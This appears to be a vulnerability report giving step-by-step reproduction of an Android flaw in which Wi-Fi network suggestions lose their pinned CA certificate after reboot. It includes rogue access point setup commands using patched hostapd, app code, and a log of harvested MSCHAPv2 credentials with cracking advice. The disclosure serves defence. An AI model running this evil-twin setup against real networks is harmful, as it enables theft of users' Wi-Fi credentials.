Reproduction attack from weak point 2

Steps to reproduce the issue

1. The requirements Prepare two computers runing Kali Linux, one AR9271 network card and one Pixel4 phone
2. Setup an Enterprise network. We call it as the real network, assume it was created by a company , Hacked Inc, and the ssid is "Hacked Inc" Plug your ar9271 into Kali.

```
cd ~
tar xvf hostapd-2.9-androidQ.tar.gz
cd  hostapd-2.9-androidQ
cd etc/hostapd/certs
#create your CA.
make
cd ~/hostapd-2.9-androidQ/hostapd/
make
cd ~/hostapd-2.9-androidQ
#plug your pixel4, and push the ca.der to your phone
adb push ./etc/hostapd/certs/ca.der /data/local/tmp/
python start.py -i wlan0 -o eth0
```

1. Write an app with api 29 or 30's WifiNetworkSuggestion and WifiManager. addNetworkSuggentions API.

```
private boolean saveWifiConfiguration(String ssid, X509Certificate caCert,
                                          String identity, String password)  {


       WifiEnterpriseConfig wc = new WifiEnterpriseConfig();
        wc.setEapMethod(WifiEnterpriseConfig.Eap.PEAP);
        wc.setPhase2Method(WifiEnterpriseConfig.Phase2.MSCHAPV2);
        wc.setIdentity(identity);
        wc.setCaCertificate(caCert);
        wc.setPassword(password);




        WifiNetworkSuggestion wifiNetworkSuggestion = new WifiNetworkSuggestion.Builde
r()
                .setPriority(322)
                .setSsid(ssid)
                .setIsMetered(true)
                .setWpa2EnterpriseConfig(wc)
                .build();

        ArrayList<WifiNetworkSuggestion> suggestionsList = new ArrayList<WifiNetworkSu
ggestion>();
        suggestionsList.add(wifiNetworkSuggestion);

        boolean added =  WifiConfigUtil.addWifiNetworkSuggestion(getApplicationContext
(), suggestionsList);
        return added;

    }
```

As the code shows, This suggestion has set the fixed CA certificate. And android use the fixed CA to verify the authenticator's certificate.

I provide an exmple in wifitestapi29.tar.gz. This app uses the API WifiManager.addNetworkSuggentions to add the 'Hacked Inc' on pixel4. On the notification items of your phone, press to confirm the phone use this suggention. Compile this example. and install it.

```
adb push ./etc/hostapd/certs/ca.der /data/local/tmp/
```

Push ca.der to /data/local/tmp. It's important. Don't forget to give the location permission in the settings for this demo app.

1.

This Demo app will use the ca.der, and add a suggention settings for the "Hacked Inc" network. The details procedure, please see the video "reproduction.mp4".

1. While the phone connect successfuly to the 'Hacked Inc', reboot your pixel4.
2. Setup an fake 'Hacked Inc' network as the poc in another room, and take your pixl4 to that room. You also could turn the real 'Hacked Inc' off. plug your AR9271 into kali.

```
cd ~
 tar xvf hostapd-2.9-androidQ-poc.tar.gz

 cd  hostapd-2.9-androidQ-poc
 cd etc/hostapd/certs
 #to create your own CA. It's different with the real one.
 make

 cd ~/hostapd-2.9-androidQ-poc/hostapd/
 make
 cd ~/hostapd-2.9-androidQ-poc
 python start.py -i wlan0 -o eth0
```

1. Open another terminal

```
cd ~/hostapd-2.9-androidQ-poc
     tail -f hostapd.log
 You will see the credentials harvest by the poc.
 mschapv2: Mon Apr  6 12:23:16 2020
          username:        test
          challenge:        5b:4a:7f:2c:9d:22:af:2d
          response:        1e:8a:72:fb:4a:57:c8:b3:a9:b4:09:95:dd:03:b1:81:4a:10:36:10:fb:53:f4:56
          jtr NETNTLM:        test:$NETNTLM$5b4a7f2c9d22af2d$1e8a72fb4a57c8b3a9b40995dd03b1814a103610fb53f456
```

Notice

My poc is an example of peap-mschapv2, but this vulnerability also involves chap, pap, gtc, etc. And in the weak protocols of phase2, It can get plain text password. But for peap-mschapv2, It just could get the mschapv2 challenge response. With this respone, Hackers could decrypt the real credential to access the network or hijack the phone user. The cost is just 200$. You can reference to https://crack.sh/ .

In the attachment "androidqpoc.pcapng", you can see that event the ca have been changed. The peap phase1 tls connection is successfully finished.

After the phone reboot. the android system doesn't verify the server certificate anymore.

If your phone have adb root shell. You can dump the WifiConfigStoreNetworkSuggestions.xml. The file is in the /data/misc_ce/0/wifi. In this file, you can see that the ca is missing.